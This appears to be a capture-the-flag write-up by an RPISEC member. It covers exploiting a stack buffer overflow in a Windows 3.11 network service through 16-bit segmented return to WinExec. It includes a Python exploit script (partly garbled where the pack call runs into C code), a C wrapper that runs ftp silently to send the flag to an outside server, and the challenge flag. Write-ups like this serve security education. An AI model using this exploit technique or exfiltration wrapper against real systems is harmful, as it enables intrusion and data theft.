|=---------------------------------------------------------------------------=| |=--------------------=[ Dr. Raid's 16-bit Experience ]=---------------------=| |=------------------------=[ Writeup by jsc@RPISEC ]=------------------------=| |=---------------------------------------------------------------------------=| This challenge was a lot of fun and took a lot longer than it should have. A few things all came together to have us scratching our heads for the wrong reasons. We eventually got it after a whole lot of frustration. The challenge was to exploit a vulnerability on Windowows 3.11. The vulnerable program is running on tcp port 4040. Upon connecting it sends out a banner and waits for a command. After poking it a bit with netcat, we decided to read the source which showed that valid commands are: debug, status, and cable. "debug" makes the server print the address of two variables as it responds to requests. "status" just shows you that the server is running. "cables" asks for the name of the cable you're sending before asking for the contents of the cable. It makes some assumptions about how I name my files and that leads to a stack buffer overflow. Now that we know what the vulnerability is, we set off to find out where we overwrite ip. Yeah, just ip. Anyway, we can send at most 127 bytes, which are then memcpy()'d into a 32 byte buffer. ip is overwritten after 58 bytes. This means we have 58 or 67 bytes of straight forward shellcode. That's not a lot. However, we can send over any files we want and they can be any size we want. There are no restrictions on characters in any way. This means that we can send over a payload to do the heavy lifting and all our shellcode has to do is run it. I set to work writing a simple program that will send the contents of a file to a server using the watcom IDE. Now all that was needed was to figure out how to write the shellcode. As it turned out, it wasn't so simple. There's no DEP or ASLR, sure, but there are segments. Segments allow one to address more memory while simultaneously being a huge pain in the ass. In the cables.exe binary, the vulnerable function returns using the retf instruction which allows us to specify both the offset and segment (we control ip and cs) but whenever we tried pointing it at our test nop-breakpoint sled shellcode on the stack we would get an exception. This means that we couldn't just jump to our shellcode like planned. To the best of my understanding, the segments in protected mode are not just base addresses but ids in a lookup table of base addresses. This means we couldn't manually calculate where our shellcode is in memory relative to any segment other than the stack. Would that mean that we would have to do some 16-bit ROP? Before commiting to full a ROP payload, we decided to see if there were any useful functions we could return to. Using the watcom debugger, which is a surprisingly awesome debugger, we searched for an execve equiavalent. At the very bottom of the function list we found WinExec(). The arguments for WinExec() are a string containing the command to execute and an int representing flags for how to display the window. This was great news! To make sure we avoided the ire of the segment gods, we decided to find a suitable string in the binary (data segment) that we could name our executable instead of using the stack. We settled on "wb", which was used in a call to fopen(). This works because Windows will automatically append the proper suffix (.exe, .bat, .etc) as well as look in the current directory. As long as we put "wb.exe" in the same directory as cables.exe Windows would execute it given "wb". As we later found out, the data segment was equal to the stack segment so we could have specified our own string. After using the freshly written copy program to copy itself out of the VM, we tested our exploit. And it died. Windows was complaining that it didn't have enough memory to execute "wb". The program was under 40Kb. We later found out that the code I wrote wasn't copying files out properly due to some networking things that I'm still unsure about. This would have saved us a ton of time. Whoops. We assumed, however, that we weren't properly worshipping the Windows gods and we didn't want to read any documentation so we loooked for an alternative way of copying the flag off the vulnerable host. Looking through the VM we found both telnet and an ftp client. We knew that there was a way to run the ftp client uninteractively and decided to try that out. It worked. We just needed a valid ftp server and since Wilson is the man, we had one set up in a few minutes. We thought this new discovery would let us just use a .bat file to execute ftp but Windows would drop to DOS to execute the bat file which would try to run ftp which would complain that it couldn't be run in DOS mode. We still had to write a wrapper. Our exploit now looked like this: copy a configuration file to be used by ftp to the host, copy a program to execute ftp, trigger the vulnerability. -- [ The Exploit #!/usr/bin/python2 from struct import pack from time import sleep import socket # The file containing our ftp configuration config = "config" # The payload to run after we comromise the server payload = "ftp.exe" # cable host host = ("128.238.66.232", 4040) # NOTE We sleep after everything because the networking is finnicky def connection(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(host) # receive banner s.recv(1024) sleep(1) # make this shit debugging s.send("debug\n") s.recv(1024) sleep(1) return s def send_file(local_file, remote_file, s): print "[+] Sending", local_file, s.send("cable\n") s.recv(1024) sleep(1) s.send(remote_file + '\n') s.recv(1024) sleep(1) f = open(local_file, 'r') while True: buf = f.read(256) if not buf: break s.send(buf) print "... done" s.close() def parse(str): # remove [ and ] and tokenize by : str = str[1:-1].split(':') segment = int(str[0], 16) offset = int(str[1], 16) return segment, offset def pwn(s): s.send("cable\n") reply = "[xxxx:xxxx] [xxxx:xxxx] Send cable name\n" pointers = s.recv(len(reply)).split(' ') sleep(1) # get the two addresses ss, soffset = parse(pointers[0]) # NOTE soffset is where outbuf is cs, coffset = parse(pointers[1]) print "[+] stack: %x:%x, code: %x:%x" % (ss, soffset, cs, coffset) # 58 bytes until ip starts overflow = "A" * 58 rop = pack(" int main(void) { WinExec("ftp -i -s:c:\\set", SW_SHOWNORMAL); return 0; } It worked. The flag is: 8886cc179b378a474a4b403f08e19fa0. It also looks like flag.bin was supposed to be a PNG but was copied over ftp in ASCII instead of binary mode. Anyway, the challenge was really cool. Dr. Raid deserved his proppers for it.